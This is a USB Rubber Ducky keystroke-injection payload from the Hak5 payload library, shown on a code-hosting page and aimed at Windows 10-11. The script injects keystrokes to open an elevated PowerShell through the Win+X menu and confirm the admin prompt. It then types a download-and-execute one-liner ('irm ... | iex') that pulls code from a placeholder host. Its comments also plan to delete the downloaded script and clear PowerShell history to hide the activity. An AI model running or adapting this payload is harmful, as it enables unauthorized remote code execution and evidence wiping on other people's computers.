Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/CloseAllApplicationsInWindows/payload.txt
2971 views
1
REM #####################################################
2
REM # |
3
REM # Title : Close All Applications |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Execution |
7
REM # Target : Windows 10-11 |
8
REM # |
9
REM #####################################################
10
11
REM Plug-And-Play
12
13
REM
14
REM 1. Open a powershell
15
REM 2. Download a Python script
16
REM 3. Execute it
17
REM 4. Remove Python script downloaded
18
REM 5. Delete powershell history
19
REM
20
21
REM Reply with YOUR LINK. The Payload should be close_all_app.ps1
22
DEFINE POWERSHEL_CODE example.com
23
24
DELAY 2000
25
GUI x
26
DELAY 250
27
DOWNARROW
28
DOWNARROW
29
DOWNARROW
30
DOWNARROW
31
DOWNARROW
32
DOWNARROW
33
DOWNARROW
34
DOWNARROW
35
DOWNARROW
36
DOWNARROW
37
ENTER
38
DELAY 1000
39
TAB
40
TAB
41
ENTER
42
DELAY 2000
43
STRING irm POWERSHEL_CODE | iex
44
ENTER
45
46